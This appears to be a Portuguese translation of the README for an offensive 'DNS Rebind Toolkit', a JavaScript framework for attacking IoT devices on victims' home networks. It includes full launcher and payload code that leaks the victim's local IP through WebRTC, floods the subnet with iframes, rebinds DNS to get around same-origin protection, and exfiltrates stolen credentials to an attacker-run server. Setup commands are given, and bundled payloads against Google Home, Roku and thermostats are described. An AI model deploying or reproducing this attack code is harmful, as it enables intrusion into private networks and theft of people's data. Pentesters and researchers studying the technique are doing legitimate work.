
Um kit de ferramentas JavaScript de front-end para criar ataques de rebinding de DNS.
Demo | Aviso de Segurança | Payloads Incluídos | FAQ
AVISO LEGAL: Este software é apenas para fins educacionais. Este software não deve ser utilizado para atividades ilegais. O autor não é responsável pelo seu uso. Não seja um babaca.
O DNS Rebind Toolkit é um framework JavaScript de front-end para desenvolver exploits de DNS Rebinding contra hosts e serviços vulneráveis em uma rede local (LAN). Ele pode ser usado para atingir dispositivos como Google Home, Roku, caixas de som WiFi Sonos, roteadores WiFi, termostatos "inteligentes" e outros dispositivos IoT. Com este toolkit, um atacante remoto pode contornar o firewall de um roteador e interagir diretamente com dispositivos na rede doméstica da vítima, exfiltrando informações privadas e, em alguns casos, até controlando os próprios dispositivos vulneráveis.
O ataque exige que uma vítima na rede alvo simplesmente siga um link ou veja um anúncio HTML contendo um iframe malicioso. A partir daí, o navegador web da vítima é usado como um proxy para acessar diretamente outros hosts conectados à sua rede doméstica. Essas máquinas e serviços alvo não estariam disponíveis para o atacante a partir da Internet. O atacante remoto pode não saber quais são esses serviços, ou quais endereços IP eles ocupam na rede da vítima, mas o DNS Rebind Toolkit lida com isso por meio de força bruta em centenas de endereços IP prováveis.
Internamente, esta ferramenta utiliza um servidor DNS whonow público executando em rebind.network:53 para executar o ataque de DNS rebinding e enganar o navegador web da vítima, fazendo-o violar a política de mesma origem. A partir daí, utiliza WebRTC para vazar o endereço IP privado da vítima, digamos 192.168.1.36. Ele usa os três primeiros octetos desse endereço IP local para adivinhar a sub-rede da rede e então injeta 256 iframes, de 192.168.1.0-255, entregando um payload para cada host que possivelmente esteja na sub-rede.
Este toolkit pode ser usado para desenvolver e implantar seus próprios ataques de DNS rebinding. Vários payloads de ataque do mundo real estão incluídos neste toolkit no diretório payloads/. Esses payloads incluem ataques de exfiltração de informações (e brincadeiras de rickroll) contra alguns dispositivos IoT populares, incluindo produtos Google Home e Roku.
Este toolkit é o produto de uma pesquisa de segurança independente sobre ataques de DNS Rebinding. Você pode ler sobre essa pesquisa original aqui.
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# install dependencies
npm install
# run the server using root to provide access to privileged port 80
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server
Por padrão, o server.js serve payloads que visam Google Home, Roku, caixas de som Sonos, lâmpadas Phillips Hue e dispositivos Radio Thermostat executando seus serviços nas portas 8008, 8060, 1400, 80 e 80, respectivamente. Se você tiver um desses dispositivos na sua rede doméstica, navegue até http://rebind.network para uma bela surpresa ;). Abra o console do desenvolvedor e observe como esses serviços são explorados inofensivamente, fazendo com que dados sejam roubados deles e exfiltrados para o server.js.
Este toolkit fornece dois objetos JavaScript que podem ser usados em conjunto para criar ataques de DNS rebinding:
DNSRebindAttack: Este objeto é usado para lançar um ataque contra um serviço vulnerável executando em uma porta conhecida. Ele gera um payload para cada endereço IP que você escolher como alvo. Objetos DNSRebindAttack são usados para criar, gerenciar e se comunicar com múltiplos objetos DNSRebindNode. Cada payload lançado por DNSRebindAttack deve conter um objeto DNSRebindNode.DNSRebindNode: Este objeto de classe estática deve ser incluído em cada arquivo de payload HTML. Ele é usado para atingir um serviço executando em um host. Ele pode se comunicar com o objeto DNSRebindAttack que o gerou e possui funções auxiliares para executar o ataque de DNS rebinding (usando DNSRebindNode.rebind(...)) bem como exfiltrar dados descobertos durante o ataque para o server.js (DNSRebindNode.exfiltrate(...)).Esses dois scripts são usados em conjunto para executar um ataque contra hosts desconhecidos em uma LAN protegida por firewall. Um ataque básico se parece com isto:
http://example.com/launcher.html. O launcher.html contém uma instância de DNSRebindAttack.http://example.com/launcher.html está incorporado como um iframe. Isso faz com que o DNSRebindAttack em launcher.html comece o ataque.DNSRebindAttack usa um vazamento WebRTC para descobrir o endereço IP local da máquina da vítima (por exemplo, 192.168.10.84). O atacante usa essas informações para escolher uma faixa de endereços IP para atingir na LAN da vítima (por exemplo, 192.168.10.0-255).launcher.html lança o ataque de DNS rebinding (usando DNSRebindAttack.attack(...)) contra uma faixa de endereços IP na sub-rede da vítima, visando um único serviço (por exemplo, a disponível na porta ).Observe que, se um usuário tiver um dispositivo Google Home em sua rede com um endereço IP desconhecido e um ataque for lançado contra toda a sub-rede 192.168.1.0/24, então o ataque de rebind de um DNSRebindNode será bem-sucedido e 254 falharão.
Um ataque consiste em três scripts e arquivos coordenados:
DNSRebindAttack (por exemplo, launcher.html)payload.html). Este arquivo é incorporado ao launcher.html pelo DNSRebindAttack para cada endereço IP que está sendo alvo.server.js) para entregar os arquivos acima e exfiltrar dados, se necessário.launcher.htmlAqui está um exemplo de arquivo launcher HTML. Você pode encontrar o documento completo em examples/launcher.html.
<!DOCTYPE html>
<head>
<title>Example launcher</title>
</head>
<body>
<!-- This script is a depency of DNSRebindAttack.js and must be included -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- Include the DNS Rebind Attack object -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// DNSRebindAttack has a static method that uses WebRTC to leak the
// browser's IP address on the LAN. We'll use this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
// targetting all IP addresses from 192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leak trick didn't work (doesn't work
// in some browsers). No biggie, most home networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// The first argument is the domain name of a publicly accessible
// whonow server (https://github.com/brannondorsey/whonow).
// I've got one running on port 53 of rebind.network you can to use.
// The services you are attacking might not be running on port 80 so
// you will probably want to change that too.
const rebind = new DNSRebindAttack('rebind.network', 80)
// Launch a DNS Rebind attack, spawning 255 iframes attacking the service
// on each host of the subnet (or so we hope).
// Arguments are:
// 1) target ip addresses
// 2) IP address your Node server.js is running on. Usually 127.0.0.1
// during dev, but then the publicly accessible IP (not hostname)
// of the VPS hosting this repo in production.
// 3) the HTML payload to deliver to this service. This HTML file should
// have a DNSRebindNode instance implemented on in it.
// 4) the interval in milliseconds to wait between each new iframe
// embed. Spawning 100 iframes at the same time can choke (or crash)
// a browser. The higher this value, the longer the attack takes,
// but the less resources it consumes.
rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
// rebind.nodes is also an EventEmitter, only this one is fired using
// DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
// iframes to post messages back to the parent DNSRebindAttack that
// launched them. You can define custome events by simply emitting
// DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
// can receive it. That said, there are a few standard event names that
// get triggered automagically:
// - begin: triggered when DNSRebindNode.js is loaded. This signifies
// that an attack has been launched (or at least, it's payload was
// delivered) against an IP address.
// - rebind: the DNS rebind was successful, this node should now be
// communicating with the target service.
// - exfiltrate: send JSON data back to your Node server.js and save
// it inside the data/ folder.
// Additionally, the DNSRebindNode.destroy() static method
// will trigger the 'destory' event and cause DNSRebindAttack to
// remove the iframe.
rebind.nodes.on('begin', (ip) => {
// the DNSRebindNode has been loaded, attacking ip
})
rebind.nodes.on('rebind', (ip) => {
// the rebind was successful
console.log('node rebind', ip)
})
rebind.nodes.on('exfiltrate', (ip, data) => {
// JSON data was exfiltrated and saved to the data/
// folder on the remote machine hosting server.js
console.log('node exfiltrate', ip, data)
// data = {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
})
}
</script>
</body>
</html>
payload.htmlAqui está um exemplo de arquivo payload HTML. Você pode encontrar o documento completo em examples/payload.html.
<!DOCTYPE html>
<html>
<head>
<title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">
attack()
.then(() => {},
err => {
// there was an error at some point during the attack
console.error(err)
DNSRebindNode.emit('fatal', err.message)
}
) // remove this iframe by calling destroy()
.then(() => DNSRebindNode.destroy())
// launches the attack and returns a promise that is resolved if the target
// service is found and correctly exploited, or more likely, rejected because
// this host doesn't exist, the target service isn't running, or something
// went wrong with the exploit. Remember that this attack is being launched
// against 255+ IP addresses, so most of them won't succeed.
async function attack() {
// DNSRebindNode has some default fetch options that specify things
// like no caching, etc. You can re-use them for convenience, or ignore
// them and create your own options object for each fetch() request.
// Here are their default values:
// {
// method: "GET",
// headers: {
// // this doesn't work in all browsers. For instance,
// // Firefox doesn't let you do this.
// "Origin": "", // unset the origin header
// "Pragma": "no-cache",
// "Cache-Control": "no-cache"
// },
// cache: "no-cache"
// }
const getOptions = DNSRebindNode.fetchOptions()
try {
// In this example, we'll pretend we are attacking some service with
// an /auth.json file with username/password sitting in plaintext.
// Before we swipe those creds, we need to first perform the rebind
// attack. Most likely, our webserver will cache the DNS results
// for this page's host. DNSRebindNode.rebind(...) recursively
// re-attempts to rebind the host with a new, target IP address.
// This can take over a minute, and if it is unsuccessful the
// promise is rejected.
const opts = {
// these options get passed to the DNS rebind fetch request
fetchOptions: getOptions,
// by default, DNSRebindNode.rebind() is considered successful
// if it receives an HTTP 200 OK response from the target service.
// However, you can define any kind of "rebind success" scenario
// yourself with the successPredicate(...) function. This
// function receives a fetch result as a parameter and the return
// value determines if the rebind was successful (i.e. you are
// communicating with the target server). Here we check to see
// if the fetchResult was sent by our example vulnerable server.
successPredicate: (fetchResult) => {
return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
}
}
// await the rebind. Can take up to over a minute depending on the
// victim's DNS cache settings or if there is no host listening on
// the other side.
await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
} catch (err) {
// whoops, the rebind failed. Either the browser's DNS cache was
// never cleared, or more likely, this service isn't running on the
// target host. Oh well... Bubble up the rejection and have our
// attack()'s rejection handler deal w/ it.
return Promise.reject(err)
}
try {
// alrighty, now that we've rebound the host and are communicating
// with the target service, let's grab the credentials
const creds = await fetch(`http://${location.host}/auth.json`)
.then(res => res.json())
// {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
// console.log(creds)
// great, now let's exfiltrate those creds to the Node.js server
// running this whole shebang. That's the last thing we care about,
// so we will just return this promise as the result of attack()
// and let its handler's deal with it.
//
// NOTE: the second argument to exfiltrate(...) must be JSON
// serializable.
return DNSRebindNode.exfiltrate('auth-example', creds)
} catch (err) {
return Promise.reject(err)
}
}
</script>
</body>
</html>
server.jsEste script é usado para entregar os arquivos launcher.html e payload.html, bem como receber e salvar dados exfiltrados do DNSRebindNode na pasta data/. Para desenvolvimento, eu normalmente executo este servidor em localhost e aponto DNSRebindAttack.attack(...) para 127.0.0.1. Para produção, executo o servidor em um servidor VPS na nuvem e aponto DNSRebindAttack.attack(...) para seu endereço IP público.
# run with admin privileged so that it can open port 80.
sudo node server
usage: server [-h] [-v] [-p PORT]
DNS Rebind Toolkit server
Optional arguments:
-h, --help Show this help message and exit.
-v, --version Show program's version number and exit.
-p PORT, --port PORT Which ports to bind the servers on. May include
multiple like: --port 80 --port 1337 (default: -p 80
-p 8008 -p 8060 -p 1337)
Incluí um servidor vulnerável de exemplo em examples/vulnerable-server.js. Este serviço vulnerável DEVE ser executado a partir de outra máquina na sua rede, pois a porta dele DEVE corresponder à mesma porta do server.js. Para executar este ataque de exemplo você mesmo, faça o seguinte:
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit
# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000
node server --port 3000
Agora, navegue seu navegador até http://localhost:3000/launcher.html e abra um console de desenvolvimento. Espere um ou dois minutos; se o ataque funcionou, você deverá ver algumas credenciais vazadas do servidor vulnerável executando no computador secundário.
Confira os diretórios examples/ e payloads/ para mais exemplos.
server.js: O servidor do DNS Rebind Toolkitpayloads/: Vários arquivos de payload HTML artesanais para atingir alguns dispositivos IoT vulneráveis. Inclui ataques contra Google Home, Roku e Radio Thermostat por enquanto. Eu adoraria ver mais payloads adicionados a este repositório no futuro (PRs são bem-vindos!)examples/: Arquivos de exemplo de uso.data/: Diretório onde os dados exfiltrados por DNSRebindNode.exfiltrate(...) são salvos.share/: Diretório de arquivos JavaScript compartilhados por vários arquivos HTML em examples/ e payload/.Este toolkit foi desenvolvido para ser uma ferramenta útil para pesquisadores e testadores de penetração. Se você quiser ver algumas das pesquisas que levaram à sua criação, confira este post. Se você escrever um payload para outro serviço, considere fazer um PR para este repositório para que outras pessoas possam se beneficiar do seu trabalho!
8008DNSRebindAttack incorpora um iframe contendo payload.html na página launcher.html. Cada iframe contém um objeto DNSRebindNode que executa um ataque contra a porta 8008 de um único host definido na faixa de endereços IP sob ataque. Esse processo de injeção continua até que um iframe tenha sido injetado para cada endereço IP que está sendo alvo do ataque.payload.html injetado usa DNSRebindNode para tentar um ataque de rebind comunicando-se com um servidor DNS whonow. Se for bem-sucedido, a política de mesma origem é violada e o payload.html pode se comunicar diretamente com o produto Google Home. Normalmente, o payload.html será escrito de forma a fazer algumas chamadas de API para o dispositivo alvo e exfiltrar os resultados para o server.js executando em example.com antes de terminar o ataque e se autodestruir.